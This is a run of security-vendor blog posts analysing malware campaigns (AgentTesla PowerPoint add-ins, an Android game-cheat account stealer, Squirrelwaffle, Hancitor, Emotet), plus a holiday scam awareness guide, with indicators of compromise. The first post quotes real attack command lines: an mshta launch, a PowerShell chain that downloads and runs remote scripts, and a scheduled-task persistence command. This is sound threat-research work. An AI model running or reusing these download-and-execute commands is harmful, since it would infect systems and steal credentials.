McAfee Labs have observed a new phishing campaign that utilizes macro capabilities available in Microsoft PowerPoint. In this campaign, the spam email comes with a PowerPoint file as an attachment. Upon opening the malicious attachment, the VBA macro executes to deliver variants of AgentTesla which is a well-known password stealer. These spam emails purport to be related to financial transactions.  

AgentTesla is a RAT (Remote Access Trojan) malware that has been active since 2014. Attackers use this RAT as MASS(Malware-As-A-Service) to steal user credentials and other information from victims through screenshots, keylogging, and clipboard captures. Its modus operandi is predominantly via phishing campaigns. 

During Q2, 2021, we have seen an increase in PowerPoint malware. 

In this campaign, the spam email contains an attached file with a .ppam extension which is a PowerPoint file containing VBA code. The sentiment used was finance-related themes such as: “New PO300093 Order” as shown in Figure 2. The attachment filename is “300093.pdf.ppam”. 

PPAM file: 

This file type was introduced in 2007 with the release of Microsoft Office 2007. It is a PowerPoint macro-enabled Open XML add-in file. It contains components that add additional functionality, including extra commands, custom macros, and new tools for extending default PowerPoint functions.  

Since PowerPoint supports ‘add-ins’ developed by third parties to add new features, attackers abuse this feature to automatically execute macros. 

Technical Analysis: 

Once the victim opens the “.ppam” file, a security notice warning pop-up as shown in Figure 3 to alert the user about the presence of macro.

From Figure 4, you can see that the Add-in feature of the PowerPoint can be identified from the content of [Content_Types].xml file which will be present inside the ppam file. 

 The PPAM file contains the following files and directories which can be seen upon extraction. 

• _rels\.rels 
• [Content_Types].xml 
• ppt\rels\presentation.xml.rels 

• ppt\asjdaaasdasdsdaasdsdasasdasddoasddasasddasasdsasdjasddasdoasjdasasddoajsdjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.bin – Malicious file 
• ppt\presentation.xml 

Once the victim enables the macro, the add-in gets installed silently without user knowledge, which can be seen in Figure 5. On seeing that there is no content and no slide in the PowerPoint, the user will close the file but, in the backend, macro code gets executed to initiate the malicious activity. 

As you can see in Figure 6, the macro is executed within the add-in auto_open() event i.e.., macro is fired immediately after the presentation is opened and the add-in is loaded. 

The PowerPoint macro code on execution launches an URL by invoking mshta.exe (Microsoft HTML Application) which is shown in Figure 7. The mshta process is launched by Powerpoint by calling the CreateProcessA() API. 

Below are the parameters passed to CreateProcessA() API: 

kernel32.CreateProcessA(00000000,mshta hxxps://www.bitly.com/asdhodwkodwkidwowdiahsidh,00000000,00000000,00000001,00000020,00000000,00000000,D, 

Below is the command line parameter of mshta: 

mshta hxxps://www.bitly.com/asdhodwkodwkidwowdiahsidh 

The URL hxxps://www.bitly.com/asdhodwkodwkidwowdiahsidh is redirected to “hxxps://p8hj[.]blogspot[.]com/p/27.html” but it didn’t get any response from “27.html” at the time of analysis. 

Later mshta.exe spawns powershell.exe as a child process. 

Below is the command line parameters of PowerShell: 

powershell.exe - ”C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe” i’E’x(iwr(‘hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-1.txt‘) -useB);i’E’x(iwr(‘hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-2.txt‘) -useB);i’E’x(iwr(‘hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-3.txt‘) -useB); 

PowerShell downloads and executed script files from the above-mentioned URLs.  

The below Figure 8 shows the content of the first url – “hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-1.txt”: 

There are two binary files stored in two huge arrays inside each downloaded PowerShell file. The first file is an EXE file that acts as a loader and the second file is a DLL file, which is a variant of AgentTesla. PowerShell fetches the AgentTesla payload from the URLs mentioned in the command line, decodes it, and launches MSBuild.exe to inject the payload within itself. 

Schedule Tasks: 

To achieve persistence, it creates a scheduled task in “Task Scheduler” and drops a task file under C:\windows\system32\SECOTAKSA to make the entire campaign work effectively.   

The new task name is “SECOTAKSA”. Its action is to execute the command “mshta hxxp:// //1230948%[email protected]/p/27.html” and it’s called every 80 minutes.  

Below is the command line parameters of schtasks: 

schtasks.exe - “C:\Windows\System32\schtasks.exe” /create /sc MINUTE /mo 80 /tn “”SECOTAKSA”” /F /tr “”\””MsHtA””\””hxxp://1230948%[email protected]/p/27.html\“” 

Infection Chain: 

Process Tree: 

Mitigation: 

McAfee’s Endpoint Security (ENS) and Windows Systems Security (WSS) product have  DAT coverage for this variant of malware. 

This malicious PPAM document with SHA256: fb594d96d2eaeb8817086ae8dcc7cc5bd1367f2362fc2194aea8e0802024b182 is detected as “W97M/Downloader.dkw”.  

The PPAM document is also blocked by the AMSI feature in ENS as AMSI-FKN! 

Additionally, the Exploit Prevention feature in McAfee’s Endpoint Security product blocks the infection chain of this malware by adding the below expert rule so as to protect our customers from this malicious attack. 

Expert Rule authored based on the below infection chain: 

POWERPNT.EXE –> mshta.exe  

Expert Rule: 

Rule { 

  Process { 

    Include OBJECT_NAME { -v “powerpnt.exe” } 

  } 

  Target { 

    Match PROCESS { 

       Include OBJECT_NAME { -v “mshta.exe” } 

       Include PROCESS_CMD_LINE { -v “**http**” } 

       Include -access “CREATE” 

    } 

  } 

} 

IOCs 

URLs: 

hxxps://www.bitly.com/asdhodwkodwkidwowdiahsidh 

hxxp:// //1230948%[email protected]/p/27.html 

hxxps://p8hj[.]blogspot[.]com/p/27.html 

hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-1.txt  

hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-2.txt  

hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-3.txt 

EML files: 

72e910652ad2eb992c955382d8ad61020c0e527b1595619f9c48bf66cc7d15d3 

0afd443dedda44cdd7bd4b91341bd87ab1be8d3911d0f1554f45bd7935d3a8d0 

fd887fc4787178a97b39753896c556fff9291b6d8c859cdd75027d3611292253 

38188d5876e17ea620bbc9a30a24a533515c8c2ea44de23261558bb4cad0f8cb  

PPAM files: 

fb594d96d2eaeb8817086ae8dcc7cc5bd1367f2362fc2194aea8e0802024b182 

6c45bd6b729d85565948d4f4deb87c8668dcf2b26e3d995ebc1dae1c237b67c3 

9df84ffcf27d5dea1c5178d03a2aa9c3fb829351e56aab9a062f03dbf23ed19b 

ad9eeff86d7e596168d86e3189d87e63bbb8f56c85bc9d685f154100056593bd 

c22313f7e12791be0e5f62e40724ed0d75352ada3227c4ae03a62d6d4a0efe2d 

Extracted AgentTesla files: 

71b878adf78da89dd9aa5a14592a5e5da50fcbfbc646f1131800d02f8d2d3e99 

90674a2a4c31a65afc7dc986bae5da45342e2d6a20159c01587a8e0494c87371 

The post Malicious PowerPoint Documents on the Rise appeared first on McAfee Blog.

Authored by: Wenfeng Yu

McAfee Mobile Research team recently discovered a new piece of malware that specifically steals Google, Facebook, Twitter, Telegram and PUBG game accounts. This malware hides in a game assistant tool called “DesiEsp” which is an assistant tool for PUBG game available on GitHub. Basically, cyber criminals added their own malicious code based on this DesiEsp open-source tool and published it on Telegram. PUBG game users are the main targets of this Android malware in all regions around the world but most infections are reported from the United States, India, and Saudi Arabia. 

What is an ESP hack? 

ESP Hacks, (short for Extra-Sensory Perception) are a type of hack that displays player information such as HP (Health Points), Name, Rank, Gun etc. It is like a permanent tuned-up KDR/HP Vision. ESP Hacks are not a single hack, but a whole category of hacks that function similarly and are often used together to make them more effective. 

How can you be affected by this malware? 

After investigation, it was found that this malware was spread in the channels related to PUBG game on the Telegram platform. Fortunately, this malware has not been found on Google Play. 

Main dropper behavior 

This malware will ask the user to allow superuser permission after running: 

If the user denies superuser request the malware will say that the application may not work: 

When it gains root permission, it will start two malicious actions. First, it will steal accounts by accessing the system account database and application database.  

Second, it will install an additional payload with package name “com.android.google.gsf.policy_sidecar_aps” using the “pm install” command. The payload package will be in the assets folder, and it will disguise the file name as “*.crt” or “*.mph”. 

Stealing social and gaming accounts 

The dropped payload will not display icons and it does not operate directly on the screen of the user’s device. In the apps list of the system settings, it usually disguises the package name as something like “com.google.android.gsf” to make users think it is a system service of Google. It runs in the background in the way of Accessibility Service. Accessibility Service is an auxiliary function provided by the Android system to help people with physical disabilities use mobile apps. It will connect to other apps like a plug-in and can it access the Activity, View, and other resources of the connected app. 

The malware will first try to get root permissions and IMEI (International Mobile Equipment Identity) code that later access the system account database. Of course, even if it does not have root access, it still has other ways to steal account information. Finally, it also will try to activate the device-admin to difficult its removal. 

Methods to steal account information 

The first method to steal account credentials that this malware uses is to monitor the login window and account input box text of the stolen app through the AccessibilityService interface to steal account information. The target apps include Facebook (com.facebook.kakana), Twitter (com.twitter.android), Google (com.google.android.gms) and PUBG MOBILE game (com.tencent.ig) 

The second method is to steal account information (including account number, password, key, and token) by accessing the account database of the system, the user config file, and the database of the monitored app. This part of the malicious code is the same as the parent sample above: 

Finally, the malware will report the stolen account information to the hacker’s server via HTTP.  

Gaming users infected worldwide 

PUBG games are popular all over the world, and users who use PUBG game assistant tools exist in all regions of the world. According to McAfee telemetry data, this malware and its variants affect a wide range of countries including the United States, India, and Saudi Arabia:  

Conclusion 

The online game market is revitalizing as represented by e-sports. We can play games anywhere in various environments such as mobiles, tablets, and PCs (personal computers). Some users will be looking for cheat tools and hacking techniques to play the game in a slightly advantageous way. Cheat tools are inevitably hosted on suspicious websites by their nature, and users looking for cheat tools must step into the suspicious websites. Attackers are also aware of the desires of such users and use these cheat tools to attack them. 

This malware is still constantly producing variants that use several ways to counter the detection of anti-virus software including packing, code obfuscation, and strings encryption, allowing itself to infect more game users. 

McAfee Mobile Security detects this threat as Android/Stealer and protects you from this malware attack. Use security software on your device. Game users should think twice before downloading and installing cheat tools, especially when they request Superuser or accessibility service permissions. 

Indicators of Compromise 

Dropper samples 

36d9e580c02a196e017410a6763f342eea745463cefd6f4f82317aeff2b7e1a5

fac1048fc80e88ff576ee829c2b05ff3420d6435280e0d6839f4e957c3fa3679

d054364014188016cf1fa8d4680f5c531e229c11acac04613769aa4384e2174b

3378e2dbbf3346e547dce4c043ee53dc956a3c07e895452f7e757445968e12ef

7e0ee9fdcad23051f048c0d0b57b661d58b59313f62c568aa472e70f68801417

6b14f00f258487851580e18704b5036e9d773358e75d01932ea9f63eb3d93973

706e57fb4b1e65beeb8d5d6fddc730e97054d74a52f70f57da36eda015dc8548

ff186c0272202954def9989048e1956f6ade88eb76d0dc32a103f00ebfd8538e

706e57fb4b1e65beeb8d5d6fddc730e97054d74a52f70f57da36eda015dc8548

3726dc9b457233f195f6ec677d8bc83531e8bc4a7976c5f7bb9b2cfdf597e86c

e815b1da7052669a7a82f50fabdeaece2b73dd7043e78d9850c0c7e95cc0013d

Payload samples 

8ef54eb7e1e81b7c5d1844f9e4c1ba8baf697c9f17f50bfa5bcc608382d43778

4e08e407c69ee472e9733bf908c438dbdaebc22895b70d33d55c4062fc018e26

6e7c48909b49c872a990b9a3a1d5235d81da7894bd21bc18caf791c3cb571b1c

9099908a1a45640555e70d4088ea95e81d72184bdaf6508266d0a83914cc2f06

ca29a2236370ed9979dc325ea4567a8b97b0ff98f7f56ea2e82a346182dfa3b8

d2985d3e613984b9b1cba038c6852810524d11dddab646a52bf7a0f6444a9845

ef69d1b0a4065a7d2cc050020b349f4ca03d3d365a47be70646fd3b6f9452bf6

06984d4249e3e6b82bfbd7da260251d99e9b5e6d293ecdc32fe47dd1cd840654

Domain 

hosting-b5476[.]gq 

The post Social Network Account Stealers Hidden in Android Gaming Hacking Tool appeared first on McAfee Blog.

Authored By Kiran Raj

Due to their widespread use, Office Documents are commonly used by Malicious actors as a way to distribute their malware. McAfee Labs have observed a new threat “Squirrelwaffle” which is one such emerging malware that was observed using office documents in mid-September that infects systems with CobaltStrike.

In this Blog, we will have a quick look at the SquirrelWaffle malicious doc and understand the Initial infection vector.

Geolocation based stats of Squirrelwaffle malicious doc observed by McAfee from September 2021

Infection Chain

1. The initial attack vector is a phishing email with a malicious link hosting malicious docs
2. On clicking the URL, a ZIP archived malicious doc is downloaded
3. The malicious doc is weaponized with AutoOpen VBA function. Upon opening the malicious doc, it drops a VBS file containing obfuscated powershell
4. The dropped VBS script is invoked via exe to download malicious DLLs
5. Thedownloaded DLLs are executed via exe with an argument of export function “ldr”

Malicious Doc Analysis

Here is how the face of the document looks when we open the document (figure 3). Normally, the macros are disabled to run by default by Microsoft Office. The malware authors are aware of this and hence present a lure image to trick the victims guiding them into enabling the macros.

UserForms and VBA

The VBA Userform Label components present in the Word document (Figure-4) is used to store all the content required for the VBS file. In Figure-3, we can see the userform’s Labelbox “t2” has VBS code in its caption.

Sub routine “eFile()” retrieves the LabelBox captions and writes it to a C:\Programdata\Pin.vbs and executes it using cscript.exe

Cmd line: cmd /c cscript.exe C:\Programdata\Pin.vbs

VBS Script Analysis

The dropped VBS Script is obfuscated (Figure-5) and contains 5 URLs that host payloads. The script runs in a loop to download payloads using powershell and writes to C:\Programdata location in the format /www-[1-5].dll/. Once the payloads are downloaded, it is executed using rundll32.exe with export function name as parameter “ldr”

De-obfuscated VBS script

VBS script after de-obfuscating (Figure-6)

MITRE ATT&CK

Different techniques & tactics are used by the malware and we mapped these with the MITRE ATT&CK platform.

• Command and Scripting Interpreter (T-1059)

Malicious doc VBA drops and invokes VBS script.

CMD: cscript.exe C:\ProgramData\pin.vbs

• Signed Binary Proxy Execution (T1218)

Rundll32.exe is used to execute the dropped payload

CMD: rundll32.exe C:\ProgramData\www1.dll,ldr

IOC

The post The Newest Malicious Actor: “Squirrelwaffle” Malicious Doc. appeared first on McAfee Blog.

Co-authored by: Sriram P and Deepak Setty

‘Tis the season for scams. Well, honestly, it’s always scam season somewhere. In 2020, the Internet Crime and Complaint Center (IC3) reported losses in excess of $4.1 billion dollars in scams which was a 69% increase over 2019. There is no better time for a scammer celebration than Black Friday, Cyber Monday, and the lead-up to Christmas and New Year. It’s a predictable time of the year, which gives scammers ample time to plan and organize. The recipe isn’t complicated, at the base we have some holiday excitement, sprinkle in fake shopping deals and add some discounts, and ho ho ho we have social engineering scams.

In this blog, we want to increase awareness related to scams as we expect elevated activity during this holiday season. The techniques used to scam folks are very similar to those used to spread malware too, so always be alert and use caution when browsing and shopping online. We will provide some examples to help educate consumers on how to identify scams. The victims of such scams can be others around you like your kids or parents, so read up and spread the word with family and friends. Awareness, education, and being alert are key to keeping you at bay from fraudsters.

Relevant scams this season

Although there is a myriad of scams out there, we expect the most common scams and targets this season to be:

1. Non-delivery scams – Fake online stores will attempt to get you to purchase items that you will never end up receiving
2. Deals that get shoppers excited. Supply chain issues recently will give scammers more fodder. Scammers can place bait deals on popular items
3. Elderly parents/grandparents looking for cheap medical equipment, medical memberships, or looking to purchase and ship their grandchildren presents for the holidays.
4. Emotionally vulnerable people might fall prey to romance scams
5. Children looking for free, Fortnite Vbucks and other gaming credits may fall prey to scams and could even get infected with potentially unwanted programs
6. Charity scams will be rampant.

SMSishing, email-based Phishing, and push notifications will be the most common vectors initiating scams during this holiday season. Here are some common tactics in use today:

1. Unbelievable deals or discounts

This is a common theme around this time of the year. Deals, discounts, and gift cards can be costly to your bank account. Be wary of URLs being presented to you over email or SMS. Phishing emails, bulk mailing, texting, and typo-squatting are some of the ways that scammers target their prey.

2. Creating a sense of urgency

Scammers will create a sense of urgency by telling you that you have limited time to claim the deal or that there is low inventory for popular items in their store. It’s not difficult for scammers to identify sought-after electronics items or holiday gifts for sale and offer them for sale on their fake stores. Such scams are believable given the supply chain challenges and delivery shortages over the last few months.

3. Utilizing Scare tactics

Getting people worried about a life-changing event or disrupting travel plans can be concerning. So, if you get an unexpected call from someone claiming to be from the FBI, police, IRS, or even a travel company, stop and think. They may be using scare tactics to dupe you. Never divulge personal information and if in doubt, ask them a lot of directed questions and fact check them. As an example, check to see if they know your home address, account number, itinerary number, or bank balance depending on who they claim to be. Scammers typically don’t have specific details and when put on the spot, they’ll hang up.

4. Emotional tactics

Like scare tactics, scammers may prey on vulnerable people. Although there can be many variations of such scams, the more common ones are Romance Scams where you end up connecting to someone with a fake profile, and Fake Charity Scams where you receive a phone call or an email requesting a donation. Do not entertain such requests over the phone especially if you receive a phone call soliciting a donation. During the conversation, they will attempt to make you feel guilty or selfish for not contributing enough. Remember, there is no rush to donate. Go to a reputable website or a known organization and donate if you must after due diligence.

Tips to identify a scam

Successful scams are situationally accurate. You may be the smartest guy in the room, but when you eagerly waiting for that delivery and you see an email update claiming a delivery delay from UPS, you might fall for a scam. This is particularly true in the holiday season and therefore such themes are more prevalent. Here are some tips on how to identify scams early on.

1. Be suspicious of anything that is pushed to you from an unknown source – emails, SMS, advertisements, phone calls, surveys, social media. This is when you are being solicited to do something you might not have otherwise chosen to
   1. Avoid going to unknown websites to begin with. You always have the option to r before you click on a link. You can always use some of the following trusted free resources to validate a domain or business
      1. https://trustedsource.org/ – to look up a URL
      2. https://www.virustotal.com/gui/home/url – to look up a URL
      3. https://www.bbb.org/ – to validate a business, charity, etc
      4. https://whois.domaintools.com/ – to look up site history. A new or recent domain is less trustworthy. Scammers register new domains based on the theme of their scams.
   2. If you do end up navigating, look for the following to build trust in a link:
      1. Ensure it’s an “https” domain versus an “http”. A valid “https” certificate just means that your data is encrypted enroute to the website. Although this method isn’t indicative of a scam, some scams are hosted on compromised “http” sites. (example 1))
      2. Closely look at the domain name. They might be indicative of fakes. Scammers would typically register domains with very similar names to deceive you. For example, Amazon.com could be replaced by Arnazon.com or AMAZ0N.com. ‘vv’ could be replaced for ‘w’, ‘I’ for a 1, etc. Same goes for emails you receive – take a close look
      3. Another common way of reaching a fake website is due to “typosquatting” but this is typically human error, where a user may type an incorrect domain name and reach a fake site.
      4. Most legit sites will have a “Contact us”, “About Us”, “Conditions of Use”, “Privacy Notice”/”Terms”, “Help”, Social Media presence on Twitter, FB, Instagram, etc. Read up on the pages to learn about the website and even look for website reviews before you make a purchase. Fake websites do not invest a lot of time to populate these – this could be a giveaway.
   3. Always confirm the sender of and email or text by validating the email address or phone number. For example, if an email claims to be from BankOfAmerica, you would expect their email domain in most cases to be from “@bankofamerica.com” and not from “@gmail.com”. Avoid clicking on links from emails or messages when you don’t know the sender.
   4. If you end up linking to a page because of an email or message, never provide personal details. Any site asking for such information should raise red flags. Even if the site looks legit, Phishing scammers make exact replicas of web pages and try to get you to login. This allows them to steal your login credentials. (Example 4)
   5. Don’t feel pressured to click on a link or provide details to solicitors in such cases especially. Any attempt to gather personal data is a big NO.
   6. Never open attachments from unknown people. Emails with document attachments or PDF Attachments are very popular in spreading malware. The attachment names are typically very enticing to click on. Names like “invoice.pdf”, “receipt.doc”, “Covid-19 test results.doc”, etc. may invite some curiosity but could also lead to malware.
   7. Ensure you review the hyperlink before you click them. It’s easy to fake the text and get you to an illegit page (Example 2)
   8. Anyone who insists on payments using a pre-paid gift card or wire transfer, instead of your typical credit card is most likely attempting to scam you.

2. The end goal of a scammer is that they want to make money – so be alert with your cards and their activity.
   1. Avoid using Debit Cards online. Use a prepaid or virtual Credit Card or even better utilize Apple Pay, Google Pay or PayPal for online payments. Payment card services today have advanced fraud monitoring systems
   2. Check CC statements often to look for any unanticipated charges.
   3. If you make a purchase, ensure you have a tracking number and monitor shipments
   4. Disable international purchases if you know you won’t be traveling.
   5. Never wire money directly to anyone you do not know.

What if you are a victim?

If you believe that you have been a victim of a scam, here are a few tips that might help.

1. First, get in touch with your Credit Card company and tell them to put a hold on your card. You can dispute any suspicious charges and request an issue of a chargeback
2. If you have been scammed through popular sites like ebay.com or amazon.com – contact them directly. If you wired money, contact the wire company directly
3. File a Police Report. If you gave your personal information away, you might want to go to
   1. US – https://www.identitytheft.gov/
   2. UK – www.cifas.org.uk
4. Notify and contribute – build awareness
   1. US
      1. https://reportfraud.ftc.gov/#/?pid=A – (877) 382-4357
      2. https://www.bbb.org/
      3. https://www.ic3.gov/
      4. https://www.fbi.gov/scams-and-safety
   2. UK
      1. https://www.actionfraud.police.uk/ – 0300 123 2040
      2. https://www.gov.uk/find-local-trading-standards-office
      3. https://www.citizensadvice.org.uk/

Example scams:

Example 1: Fake SMS messages

It’s become more common recently to receive text messages for scammers. The following few text messages demonstrate SMSishing attempts.

1. The first is an attempt to gather Bank Of America details. For the scammer, it’s a shot in the dark. Given, the target is a US number, he attempts to use the phone number that he is sending the text to, as a bank account number and provides a link to a bit.ly page (a URL shortening service) to link to a fake page that poses as a Bank of America login. A successful SMSish would be if the victim entered their details.

2. The following are fake texts that attempt to entice you click the link. The bait is the Gift card. One can tell that they are a similar theme since they originate from fake phone numbers, which are very similar but not exact. The domain names of the two URLs are totally random (probably compromised URLs). You can tell that back in October, the full URL based SMShing attempts were not very effective which is why in Nov, they probably used keywords like “COSTCO” and “ebay” within the URL and inline to their SMS context, to make it more likely for people to click.

Also note that some of the URLs only have an “http” versus a “https”, something we had noted earlier in the blog.

Example 2: Fake email link

One cannot trust an email by the text. You should review the link to ensure it takes you to where it claims to. The following is an example email where the link is not what it claims to be.

Example 3: Fake Store Scam hosted on Shopify

Shopify is a Canadian multinational e-commerce company. It offers online retailers a suite of services, including payments, marketing, shipping, and customer engagement tools.

So, where there is money to be made, individuals are looking to take advantage. Shopify scam targets both consumers and business owners. Scammer abuse the power of e-commerce to earn money by implementing fake stores. They observe the product or category, create an attractive logo or image and promote extensively on social media.

Fake Bike Online Purchase store – Mountain-ranger-com

Site: hxxps://mountain-ranger-com.myshopify.com/collections/all

SSL info:

This site is hosted on Shopify, so it has a valid SSL cert which is the first thing we check on where we transact.

Whois Record ( last updated on 2021-11-19 )

Domain Name: myshopify.com
Registry Domain ID: 362759365_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.markmonitor.com
Registrar URL: http://www.markmonitor.com
Updated Date: 2021-03-02T23:39:12+0000
Creation Date: 2006-03-03T03:01:37+0000
Registrar Registration Expiration Date: 2024-03-02T08:00:00+0000
Registrar: MarkMonitor, Inc.
Registrar IANA ID: 292
Registrar Abuse Contact Email:
Registrar Abuse Contact Phone: +1.2083895770
Domain Status: clientUpdateProhibited (https://www.icann.org/epp#clientUpdateProhibited)
Domain Status: clientTransferProhibited (https://www.icann.org/epp#clientTransferProhibited)
Domain Status: clientDeleteProhibited (https://www.icann.org/epp#clientDeleteProhibited)
Domain Status: serverUpdateProhibited (https://www.icann.org/epp#serverUpdateProhibited)
Domain Status: serverTransferProhibited (https://www.icann.org/epp#serverTransferProhibited)
Domain Status: serverDeleteProhibited (https://www.icann.org/epp#serverDeleteProhibited)
Registrant Organization: Shopify Inc.
Registrant State/Province: ON
Registrant Country: CA
Registrant Email: Select Request Email Format

The registrar info for the site is valid too, as it is hosted on Shopify. If you look closer, however, one will notice red flags:

1. Compare these prices listed on other known sites like amazon: Price listed on the fake site versus price listed on Amazon. This is an “unbelievable” deal.

Examples of similar sites showing incredible discounts.

2. The “About Us” doesn’t make much sense when you see the products that are being offered:

A quick google on the text shows that multiple sites are using the same exact text (most of them probably fake)

3. There are no customer reviews about the products listed.

4. It has a public email server (gmail) in its return policy

5. Looking up the list address in google maps wouldn’t show up anything and looking up the number in apps like true caller shows it’s fake.

Example 4: Social Engineering to Steal Credentials

The goal of this scam is to steal credentials however it could as well be used as a malware delivery mechanism. The screenshot is that of a fake business proposal hosted on OneDrive Cloud for phishing purposes.

The actor aims to mislead the user into clicking on the above reference link. When the user clicks on the link, it redirects to a different website that displays the below fake OneDrive screenshot.

hxxps://aidaccounts[.]com/11/verified/22/

If a user enters their OneDrive details, the actors receive them at their backend. This means that this victim has lost their login credentials to the phishing actors. Look at the address bar and trust your instincts. This is in no way related to Microsoft OneDrive. There are other such examples where they do some additional plumbing of the URL to include keywords that make it more believable – as they did in the SMSishing example above.

Example 5: Fake Push Notification for surveys

The goal here is to get the user to accept push notifications. Doing so makes the customer susceptible to other possible scams. In this example, the scammers attempt to get users to fill out surveys. Legit companies online pay users for surveys. A referral code is used to pay the survey taker. The scammer in this case attempts to get others to fill the survey on their behalf and therefore makes money when such surveys use the scammer’s referral code. Push notifications are used to get the victims to fill out surveys. Previous blogs from McAfee demonstrate similar scams and how to prevent such notifications

The initial vector comes to the victim via a spam email with a PDF Spam attachment. In this scenario, Gmail was used as the sender.

Upon opening the PDF, a fake online PUBG (Players Unknown Battleground) credits generator gets opened. In PUBG, Gamers need credits to participate in various online games and so this scam baits them offering free credits.

Once the user clicks on the bait URL, it opens a google feed proxy URL.

Malicious websites are destined to be block-listed and therefore have short shelf lives. Google’s feed proxy redirects them in adapting to new URLs and therefore utilizes a fast-flux mechanism as a technique to keep the campaign alive. Usage of feed proxy are not new and we have highlighted its use in the past by the hancitor botnet.

Clicking on the top highlighted URL, it navigates to a webpage that poses as a PUBG Arcane online credit generator.

To make the online generator look real, the website has added fake recent activities highlighting coins users have earned via this generator. Even the add comments section is fake.

Clicking on continue will bring up a fake progress bar. Now the site shows the coins and cash are ready, however, an automated human verification has failed, and a survey has to be taken up for getting the reward.

A clickable link for this verification is also loaded. Once clicked, a small dialog with 3 options are presented.

Clicking on “want to become a millionaire” loaded a survey page and prompts you to take it up. It will also prompt you to allow push notifications from this website.

Once you click on “Allow”, notifications to take up a survey or fake personalized offer notifications start popping up. Be it on your desktop or on your mobile, these notifications pop-ups to take up more surveys.

Clicking on the other links too from “Human Verification”, you will realize that you have finally ended up not gaining anything for your PUBG Arcane gaming, but ended up taking surveys.

Here is another example of a PDF theme we have seen as a lure on the Lenovo tablet offer.

Clicking on this link takes the user to a page that claims it has been protected by a technique to block bots. Persuading you to click on the allow button for enabling popups.

Once you click on the enable button, it then redirects the browser to take up a random survey. In our case, the survey was on household income.

Another such theme that we observed was around the latest Netflix series – Squid games. Although Series 1 has currently been released, the fake email prompts early access to Season 2.

Scammers spend a lot of time and effort tweaking and tuning their schemes to make it fit just right for you. Avoiding a scam is not full proof but being vigilant is key. Don’t get overly keen when you get offers thrown at you this season. Take a step back, relax and think it through, not only should you do your own research, but you should also trust your instincts. Spending a little extra on products or making donations to a reputable and known organization might be worth the peace of mind during the holidays. Help educate your family and contribute by reporting scams.

Happy Holidays!

The post ‘Tis the Season for Scams appeared first on McAfee Blog.

By Sriram P & Lakshya Mathur 

Hancitor, a loader that provides Malware as a Service, has been observed distributing malware such as FickerStealer, Pony, CobaltStrike, Cuba Ransomware, and many more. Recently at McAfee Labs, we observed Hancitor Doc VBA (Visual Basic for Applications) samples dropping the payload using the Windows clipboard through Selection.Copy method. 

This blog focuses on the effectiveness of this newly observed technique and how it adds an extra layer of obfuscation to evade detection. 

Below (Figure 1) is the Geolocation based stats of Hancitor Malicious Doc observed by McAfee since September 2021 

INFECTION CHAIN

1. The victim will receive a Docusign-based phishing email.
2. On clicking on the link (hxxp://mettlybothe.com/8/forum[.]php), a Word Document file is downloaded.
3. On Enabling the macro content in Microsoft Word, the macro drops an embedded OLE, a password-protected macro-infected document file and launches it.
4. This second Document file drops the main Hancitor DLL (Dynamic Link Library) payload.
5. The DLL payload is then executed via rundll32.exe.

TECHNICAL ANALYSIS

Malware authors send the victims a phishing email containing a link as shown in the below screenshot (Figure 3). The usual Docusign theme is used in this recent Hancitor wave. This phishing email contains a link to the original malicious word document. On clicking the link, the Malicious Doc file is downloaded.

Since the macros are disabled by default configuration, malware authors try to lure victims into believing that the file is from legitimate organizations or individuals and will ask victims to enable editing and content to start the execution of macros. The screenshot below (Figure 4) is the lure technique that was observed in this current wave.

As soon as the victim enables editing, malicious macros are executed via the Document_Open function.

There is an OLE object embedded in the Doc file. The screenshot below (Figure 5) highlights the object as an icon.

The loader VBA function, invoked by document_open, calls this random function (Figure 6), which moves the selection cursor to the exact location of the OLE object using the selection methods (.MoveDown, .MoveRight, .MoveTypeBackspace). Using the Selection.Copy method, it will copy the selected OLE object to the clipboard. Once it is copied in the clipboard it will be dropped under %temp% folder.

When an embedded object is being copied to the clipboard, it gets written to the temp directory as a file. This method is used by the malware author to drop a malicious word document instead of explicitly writing the file to disk using macro functions like the classic FileSystemObject.

In this case, the file was saved to the %temp% location with filename name “zoro.kl” as shown in the below screenshot (Fig 8). Fig 7 shows the corresponding procmon log involving the file write event.

Using the CreateObject(“Scripting.FileSystemObject”) method, the malware moves the file to a new location \Appdata\Roaming\Microsoft\Templates and renames it to “zoro.doc”.

This file is then opened with the built-in document method, Documents.open. This moved file, zoro.doc, is password-protected. In this case, the password used was “doyouknowthatthegodsofdeathonlyeatapples?”. We have also seen the usage of passwords like “donttouchme”, etc.

This newly dropped doc is executed using the Documents.Open function (Figure 11).

Zoro.doc uses the same techniques to copy and drop the next payload as we saw earlier. The only difference is that it has a DLL as the embedded OLE object.

It drops the file in the %temp% folder using clipboard with the name “gelforr.dap”. Again, it moves gelforr.dap DLL file to \Appdata\Roaming\Microsoft\Templates (Figure 12).

Finally, after moving DLL to the templates folder, it is executed using Rundll32.exe by another VBA call.

MITRE ATT&CK

IOC (Indicators Of Compromise)

The post HANCITOR DOC drops via CLIPBOARD appeared first on McAfee Blog.

Authored By: Kiran Raj

In a recent campaign of Emotet, McAfee Researchers observed a change in techniques. The Emotet maldoc was using hexadecimal and octal formats to represent IP address which is usually represented by decimal formats. An example of this is shown below:

Hexadecimal format: 0xb907d607

Octal format: 0056.0151.0121.0114

Decimal format: 185.7.214.7

This change in format might evade some AV products relying on command line parameters but McAfee was still able to protect our customers. This blog explains this new technique.

Threat Summary

1. The initial attack vector is a phishing email with a Microsoft Excel attachment. 
2. Upon opening the Excel document and enabling editing, Excel executes a malicious JavaScript from a server via mshta.exe 
3. The malicious JavaScript further invokes PowerShell to download the Emotet payload. 
4. The downloaded Emotet payload will be executed by rundll32.exe and establishes a connection to adversaries’ command-and-control server.

Maldoc Analysis

